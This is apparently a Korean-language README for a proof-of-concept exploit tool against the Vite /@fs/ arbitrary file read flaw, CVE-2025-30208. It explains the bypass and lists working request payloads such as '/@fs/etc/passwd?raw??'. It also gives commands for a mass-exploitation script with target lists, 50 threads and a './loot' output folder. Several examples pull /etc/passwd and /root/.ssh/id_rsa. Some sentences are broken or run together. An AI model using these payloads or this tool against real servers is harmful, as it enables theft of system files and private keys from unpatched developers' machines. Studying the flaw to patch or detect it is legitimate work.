
Vite /@fs/ transformMiddleware의 경로 탐색 임의 파일 읽기 취약점(CVE-2025-30208)에 대한 익스플로잇 스크립트 PoC입니다.
Vite의 /@fs/ 경로 순회로 인한 임의 파일 읽기 취약점(CVE-2025-30208)의 익스플로잇 스크립트 PoC입니다. 자세한 분석은 이 게시글을 참고하세요.
다음 버전 이전에서 취약합니다:
Vite는 Github과 공식 웹사이트에서 얻을 수 있는 인기 있는 오픈 소스 프로젝트입니다. Vite는 개발 모드에서 절대 파일 경로에 직접 접근할 수 있도록 특수 접두사인 **@fs**를 사용합니다:
GET /@fs/<absolute/path/to/file>
하지만 악용을 방지하기 위해 Vite는 다음과 같은 구성을 사용하여 @fs를 통해 접근할 수 있는 파일을 제한합니다:
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
따라서 이론적으로 허용된 디렉토리 외부의 파일(예: /etc/passwd)은 와 같은 트릭을 사용하더라도 되어야 합니다.
../../../그러나 결함은 Vite가 (transformMiddleware 미들웨어/함수를 통해) URL을 파싱하고 확인하는 방식에 있습니다. 미들웨어/함수는 ensureServingAccess(url, ...)를 사용하여 /@fs/를 통한 파일 요청이 허용되었는지 확인합니다.
그러나 공격자는 URL에 뒤따르는 쿼리 구분자가 포함된 요청을 조작할 수 있습니다. 예를 들어:
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??
이러한 형태는 정규 표현식 필터(rawRE, urlRE)와 보안 검사를 우회합니다. 잘못된 형식의 쿼리 문자열이 여전히 라우트 로직과 일치하기 때문입니다. 어떤 일이 발생하는지 살펴보겠습니다:
/@fs/../../../etc/passwd입니다.raw??입니다 (의도적으로 잘못된 형식).?와 같은 후행 문자를 제거하거나 정규화하려고 시도하며, 이는 파일 경로가 허용되는지 확인하기 전에 수행됩니다.이는 다음을 의미합니다:
server.fs.allow 검사를 우회합니다./etc/passwd와 같은 임의의 파일이 존재하는 경우 이를 읽어 반환합니다.python3 poc.py [OPTIONS]
| Flag / Option | 설명 |
|---|---|
-u, --url | 단일 대상 URL (예: example.com:5173) |
-f, --file | 대상 목록이 포함된 파일 (한 줄에 하나의 URL) |
-p, --path | 읽을 파일 시스템 경로 (기본값: /etc/passwd) |
-b, --bypass | 라우트 검증을 우회할 쿼리 문자열 (기본값: ?raw??) |
--proxy | 프록시 URL (예: http://127.0.0.1:8080) |
-o, --output | 익스플로잇 결과를 저장할 출력 디렉토리 (기본값: results) |
-t, --threads | 배치 모드의 스레드 수 (기본값: 10) |
-h, --help | 도움말 메시지를 표시하고 종료 |
단일 대상 익스플로잇:
python3 cve-2025-30208.py -u example.com:5173
원하는 파일을 유출하기 위한 사용자 정의 LFI 경로를 사용한 단일 대상:
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
여러 대상을 사용한 배치 익스플로잇:
python3 cve-2025-30208.py -f targets.txt
사용자 정의 우회 쿼리:
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
프록시 사용 (예: Burp Suite):
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
사용자 정의 출력 디렉토리:
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
배치 모드에서 스레드 수 증가:
python3 cve-2025-30208.py -f targets.txt -t 50